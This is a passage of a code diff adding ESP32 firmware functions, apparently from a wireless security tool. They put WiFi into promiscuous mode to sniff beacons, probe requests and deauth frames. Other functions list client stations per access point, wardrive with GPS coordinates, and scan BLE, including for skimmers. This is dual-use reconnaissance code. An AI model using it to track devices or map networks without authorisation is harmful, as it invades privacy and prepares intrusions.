+      display_obj.tft.drawCentreString(text_table4[39],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+
+// Function for running probe request scan
+void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("probe");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[40],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+// Function to start running any BLE scan
+void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef HAS_BT
+    #ifdef HAS_SCREEN
+      display_obj.print_delay_1 = 50;
+      display_obj.print_delay_2 = 20;
+    #endif
+  
+    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+    NimBLEDevice::setScanDuplicateCacheSize(200);
+    NimBLEDevice::init("");
+    pBLEScan = NimBLEDevice::getScan(); //create new scan
+    if (scan_mode == BT_SCAN_ALL)
+    {
+      #ifdef HAS_SCREEN
+        display_obj.TOP_FIXED_AREA_2 = 48;
+        display_obj.tteBar = true;
+        display_obj.initScrollValues(true);
+        display_obj.tft.setTextWrap(false);
+        display_obj.tft.setTextColor(TFT_BLACK, color);
+        #ifdef HAS_ILI9341
+          display_obj.tft.fillRect(0,16,240,16, color);
+          display_obj.tft.drawCentreString(text_table4[41],120,16,2);
+          display_obj.touchToExit();
+        #endif
+        display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+      #endif
+      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
+    }
+    else if (scan_mode == BT_SCAN_SKIMMERS)
+    {
+      #ifdef HAS_SCREEN
+        display_obj.TOP_FIXED_AREA_2 = 160;
+        display_obj.tteBar = true;
+        display_obj.tft.fillScreen(TFT_DARKGREY);
+        display_obj.initScrollValues(true);
+        display_obj.tft.setTextWrap(false);
+        display_obj.tft.setTextColor(TFT_BLACK, color);
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[42],120,16,2);
+        display_obj.twoPartDisplay(text_table4[43]);
+        display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
+        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+      #endif
+      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
+    }
+    pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
+    pBLEScan->setInterval(97);
+    pBLEScan->setWindow(37);  // less or equal setInterval value
+    pBLEScan->setMaxResults(0);
+    pBLEScan->start(0, scanCompleteCB, false);
+    Serial.println("Started BLE Scan");
+    this->ble_initialized = true;
+    initTime = millis();
+  #endif
+}
+
+// Function that is called when BLE scan is completed
+#ifdef HAS_BT
+  void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
+    printf("Scan complete!\n");
+    printf("Found %d devices\n", scanResults.getCount());
+    scanResults.dump();
+  } // scanCompleteCB
+#endif
+
+// Function to extract MAC addr from a packet at given offset
+void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
+  sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
+}
+
+void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{ 
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String src = "";
+  String essid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      src.concat(addr);
+      if (src == "de:ad:be:ef:de:ad") {
+        
+        
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        //display_string.concat(addr);
+        display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+
+        // Just grab the first 255 bytes of the pwnagotchi beacon
+        // because that is where the name is
+        //for (int i = 0; i < snifferPacket->payload[37]; i++)
+        for (int i = 0; i < len - 37; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          //display_string.concat((char)snifferPacket->payload[i + 38]);
+          if (isAscii(snifferPacket->payload[i + 38]))
+            essid.concat((char)snifferPacket->payload[i + 38]);
+          else
+            Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
+        }
+        //essid.concat("\": \"\"}}");
+        //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
+
+        // Load json
+        //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
+        DynamicJsonDocument json(1024); // ArduinoJson v6
+        //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
+         // ArduinoJson v6
+        if (deserializeJson(json, essid)) {
+          Serial.println("\nCould not parse Pwnagotchi json");
+          display_string.concat(essid);
+        }
+        else {
+          Serial.println("\nSuccessfully parsed json");
+          String json_output;
+          //json.printTo(json_output); // ArduinoJson v5
+          serializeJson(json, json_output); // ArduinoJson v6
+          Serial.println(json_output);
+          display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
+        }
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {  
+  extern WiFiScan wifi_scan_obj;
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  String bssid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+
+      bool in_list = false;
+      bool mac_match = true;
+
+      for (int i = 0; i < access_points->size(); i++) {
+        mac_match = true;
+        //Serial.print("Checking ");
+        //Serial.print(addr);
+        //Serial.println(" against " + (String)access_points->get(i).essid);
+
+        
+        for (int x = 0; x < 6; x++) {
+          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+            mac_match = false;
+            //Serial.println("MACs do not match");
+            break;
+          }
+        }
+        if (mac_match) {
+          in_list = true;
+          break;
+        }
+      }
+
+      if (!in_list) {
+      
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+          essid.concat((char)snifferPacket->payload[i + 38]);
+
+          
+        }
+
+        bssid.concat(addr);
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+        if (essid == "") {
+          essid = bssid;
+          Serial.print(essid + " ");
+        }
+
+        //LinkedList<char> beacon = new LinkedList<char>();
+        
+        /*AccessPoint ap = {essid,
+                          snifferPacket->rx_ctrl.channel,
+                          {snifferPacket->payload[10],
+                           snifferPacket->payload[11],
+                           snifferPacket->payload[12],
+                           snifferPacket->payload[13],
+                           snifferPacket->payload[14],
+                           snifferPacket->payload[15]},
+                          false,
+                          NULL};*/
+
+        AccessPoint ap;
+        ap.essid = essid;
+        ap.channel = snifferPacket->rx_ctrl.channel;
+        ap.bssid[0] = snifferPacket->payload[10];
+        ap.bssid[1] = snifferPacket->payload[11];
+        ap.bssid[2] = snifferPacket->payload[12];
+        ap.bssid[3] = snifferPacket->payload[13];
+        ap.bssid[4] = snifferPacket->payload[14];
+        ap.bssid[5] = snifferPacket->payload[15];
+        ap.selected = false;
+        ap.stations = new LinkedList<uint8_t>();
+        
+        ap.beacon = new LinkedList<char>();
+
+        //for (int i = 0; i < len; i++) {
+        //  ap.beacon->add(snifferPacket->payload[i]);
+        //}
+        ap.beacon->add(snifferPacket->payload[34]);
+        ap.beacon->add(snifferPacket->payload[35]);
+
+        Serial.print("\nBeacon: ");
+
+        for (int i = 0; i < ap.beacon->size(); i++) {
+          char hexCar[4];
+          sprintf(hexCar, "%02X", ap.beacon->get(i));
+          Serial.print(hexCar);
+          if ((i + 1) % 16 == 0)
+            Serial.print("\n");
+          else
+            Serial.print(" ");
+        }
+
+        ap.rssi = snifferPacket->rx_ctrl.rssi;
+
+        access_points->add(ap);
+
+        Serial.print(access_points->size());
+        Serial.print(" ");
+        Serial.print(esp_get_free_heap_size());
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  String bssid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+
+      bool in_list = false;
+      bool mac_match = true;
+
+      for (int i = 0; i < access_points->size(); i++) {
+        mac_match = true;
+        //Serial.print("Checking ");
+        //Serial.print(addr);
+        //Serial.println(" against " + (String)access_points->get(i).essid);
+
+        
+        for (int x = 0; x < 6; x++) {
+          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+            mac_match = false;
+            //Serial.println("MACs do not match");
+            break;
+          }
+        }
+        if (mac_match) {
+          in_list = true;
+          break;
+        }
+      }
+
+      if (!in_list) {
+      
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+          essid.concat((char)snifferPacket->payload[i + 38]);
+
+          
+        }
+
+        bssid.concat(addr);
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+        if (essid == "") {
+          essid = bssid;
+          Serial.print(essid + " ");
+        }
+        
+        AccessPoint ap = {essid,
+                          snifferPacket->rx_ctrl.channel,
+                          {snifferPacket->payload[10],
+                           snifferPacket->payload[11],
+                           snifferPacket->payload[12],
+                           snifferPacket->payload[13],
+                           snifferPacket->payload[14],
+                           snifferPacket->payload[15]},
+                          false,
+                          NULL,
+                          snifferPacket->rx_ctrl.rssi,
+                          new LinkedList<uint8_t>()};
+
+        access_points->add(ap);
+
+        Serial.print(access_points->size());
+        Serial.print(" ");
+        Serial.print(esp_get_free_heap_size());
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+
+  #ifdef HAS_GPS
+    extern GpsInterface gps_obj;
+    extern EvilPortal evil_portal_obj;
+  #endif
+
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buff = display_obj.display_buffer->size();
+    #else
+      int buff = 0;
+    #endif
+    // It is a beacon
+    if ((snifferPacket->payload[0] == 0x80) && (buff == 0))
+    {
+      // Do signal strength stuff first
+      if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
+        bool found = false;
+        uint8_t targ_index = 0;
+        AccessPoint targ_ap;
+
+        // Check list of APs
+        for (int i = 0; i < access_points->size(); i++) {
+          if (access_points->get(i).selected) {
+            uint8_t addr[] = {snifferPacket->payload[10],
+                              snifferPacket->payload[11],
+                              snifferPacket->payload[12],
+                              snifferPacket->payload[13],
+                              snifferPacket->payload[14],
+                              snifferPacket->payload[15]};
+            // Compare AP bssid to ssid of recvd packet
+            for (int x = 0; x < 6; x++) {
+              if (addr[x] != access_points->get(i).bssid[x]) {
+                found = false;
+                break;
+              }
+              else
+                found = true;
+            }
+            if (found) {
+              //Serial.println("Received beacon from " + access_points->get(i).essid + ". Checking RSSI...");
+              targ_ap = access_points->get(i);
+              targ_index = i;
+              break;
+            }
+          }
+        }
+        if (!found)
+          return;
+
+        if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) {
+          targ_ap.rssi = snifferPacket->rx_ctrl.rssi;
+          access_points->set(targ_index, targ_ap);
+          Serial.println((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi);
+          return;
+        }
+      }
+
+      else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) {
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        char addr[] = "00:00:00:00:00:00";
+        getMAC(addr, snifferPacket->payload, 10);
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+        }
+
+        int temp_len = display_string.length();
+
+        #ifdef HAS_SCREEN
+          for (int i = 0; i < 40 - temp_len; i++)
+          {
+            display_string.concat(" ");
+          }
+    
+          Serial.print(" ");
+    
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+      else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) {
+        #ifdef HAS_GPS
+          if (gps_obj.getGpsModuleStatus()) {
+            bool do_save = false;  
+
+            // Check if we've already seen this AP
+            char addr[] = "00:00:00:00:00:00";
+            getMAC(addr, snifferPacket->payload, 10);
+            if (wifi_scan_obj.seen_mac(reinterpret_cast<unsigned char*>(addr)))
+              return;
+
+            Serial.print("RSSI: ");
+            Serial.print(snifferPacket->rx_ctrl.rssi);
+            Serial.print(" Ch: ");
+            Serial.print(snifferPacket->rx_ctrl.channel);
+
+            if (snifferPacket->payload[37] > 0) {
+              Serial.print(" ESSID: ");
+              for (int i = 0; i < snifferPacket->payload[37]; i++)
+              {
+                Serial.print((char)snifferPacket->payload[i + 38]);
+                display_string.concat((char)snifferPacket->payload[i + 38]);
+                essid.concat((char)snifferPacket->payload[i + 38]);
+              }
+            }
+            else {
+              Serial.print(" BSSID: ");
+              Serial.print(addr);
+              display_string.concat(addr);
+            }
+
+            if (gps_obj.getFixStatus()) {
+              do_save = true;
+              display_string.concat(" | Lt: " + gps_obj.getLat());
+              display_string.concat(" | Ln: " + gps_obj.getLon());
+            }
+            else
+              display_string.concat(" | GPS: No Fix");
+
+            int temp_len = display_string.length();
+
+            #ifdef HAS_SCREEN
+              for (int i = 0; i < 40 - temp_len; i++)
+              {
+                display_string.concat(" ");
+              }
+        
+              Serial.print(" ");
+        
+              if (display_obj.display_buffer->size() == 0)
+              {
+                display_obj.loading = true;
+                display_obj.display_buffer->add(display_string);
+                display_obj.loading = false;
+              }
+            #endif
+
+            Serial.println();
+
+            wifi_scan_obj.save_mac(reinterpret_cast<unsigned char*>(addr));
+
+            int n = WiFi.scanNetworks(false, true, false, 110, wifi_scan_obj.set_channel);
+
+            if (do_save) {
+              if (n > 0) {
+                for (int i = 0; i < n; i++) {
+                  Serial.printf("%-32.32s", WiFi.SSID(i).c_str());
+                  Serial.print(" -> ");
+                  Serial.println(wifi_scan_obj.security_int_to_string(WiFi.encryptionType(i)).c_str());
+                }
+              }
+              String wardrive_line = (String)addr + "," + essid + "," + wifi_scan_obj.security_int_to_string(snifferPacket->rx_ctrl.channel) + "," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI";
+              Serial.println(wardrive_line);
+              //evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
+            }
+          }
+        #endif
+      }      
+    }
+  }
+}
+
+void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String mac = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  char ap_addr[] = "00:00:00:00:00:00";
+  char dst_addr[] = "00:00:00:00:00:00";
+
+  int ap_index = 0;
+
+  // Check if frame has ap in list of APs and determine position
+  uint8_t frame_offset = 0;
+  int offsets[2] = {10, 4};
+  bool matched_ap = false;
+  bool ap_is_src = false;
+
+  bool mac_match = true;
+
+  for (int y = 0; y < 2; y++) {
+    for (int i = 0; i < access_points->size(); i++) {
+      mac_match = true;
+      
+      for (int x = 0; x < 6; x++) {
+        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
+          mac_match = false;
+          break;
+        }
+      }
+      if (mac_match) {
+        matched_ap = true;
+        if (offsets[y] == 10)
+          ap_is_src = true;
+        ap_index = i;
+        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
+        break;
+      }
+    }
+    if (matched_ap)
+      break;
+  }
+
+  // If did not find ap from list in frame, drop frame
+  if (!matched_ap)
+    return;
+  else {
+    if (ap_is_src)
+      frame_offset = 4;
+    else
+      frame_offset = 10;
+  }
+  /*  Stuff to care about now
+   *  ap_is_src
+   *  ap_index
+   */
+  
+
+  // Check if we already have this station
+  bool in_list = false;
+  for (int i = 0; i < stations->size(); i++) {
+    mac_match = true;
+    
+    for (int x = 0; x < 6; x++) {
+      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
+        mac_match = false;
+        //Serial.println("MACs do not match");
+        break;
+      }
+    }
+    if (mac_match) {
+      in_list = true;
+      break;
+    }
+  }
+
+  getMAC(dst_addr, snifferPacket->payload, 4);
+
+  // Check if dest is broadcast
+  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
+    return;
+  
+  // Add to list of stations
+  Station sta = {
+                {snifferPacket->payload[frame_offset],
+                 snifferPacket->payload[frame_offset + 1],
+                 snifferPacket->payload[frame_offset + 2],
+                 snifferPacket->payload[frame_offset + 3],
+                 snifferPacket->payload[frame_offset + 4],
+                 snifferPacket->payload[frame_offset + 5]},
+                false};
+
+  stations->add(sta);
+
+  // Print findings to serial
+  Serial.print((String)stations->size() + ": ");
+  
+  char sta_addr[] = "00:00:00:00:00:00";
+  
+  if (ap_is_src) {
+    Serial.print("ap: ");
+    Serial.print(ap_addr);
+    Serial.print(" -> sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 4);
+    Serial.println(sta_addr);
+  }
+  else {
+    Serial.print("sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 10);
+    Serial.print(sta_addr);
+    Serial.print(" -> ap: ");
+    Serial.println(ap_addr);
+  }
+  display_string.concat(sta_addr);
+  display_string.concat(" -> ");
+  display_string.concat(access_points->get(ap_index).essid);
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+
+  // Add station index to AP in list
+  //access_points->get(ap_index).stations->add(stations->size() - 1);
+
+  AccessPoint ap = access_points->get(ap_index);
+  ap.stations->add(stations->size() - 1);
+
+  access_points->set(ap_index, ap);
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
+    bool found = false;
+    uint8_t targ_index = 0;
+    AccessPoint targ_ap;
+
+    // Check list of APs
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected) {
+        uint8_t addr[] = {snifferPacket->payload[10],
+                          snifferPacket->payload[11],
+                          snifferPacket->payload[12],
+                          snifferPacket->payload[13],
+                          snifferPacket->payload[14],
+                          snifferPacket->payload[15]};
+        // Compare AP bssid to ssid of recvd packet
+        for (int x = 0; x < 6; x++) {
+          if (addr[x] != access_points->get(i).bssid[x]) {
+            found = false;
+            break;
+          }
+          else
+            found = true;
+        }
+        if (found) {
+          targ_ap = access_points->get(i);
+          targ_index = i;
+          break;
+        }
+      }
+    }
+    if (!found)
+      return;
+
+    if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) {
+      targ_ap.rssi = snifferPacket->rx_ctrl.rssi;
+      access_points->set(targ_index, targ_ap);
+      Serial.print((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi);
+      display_string = (String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi;
+    }
+    else
+      return;
+  }
+
+  else {
+    Serial.print("RSSI: ");
+    Serial.print(snifferPacket->rx_ctrl.rssi);
+    Serial.print(" Ch: ");
+    Serial.print(snifferPacket->rx_ctrl.channel);
+    Serial.print(" BSSID: ");
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    Serial.print(addr);
+    display_string.concat(text_table4[0]);
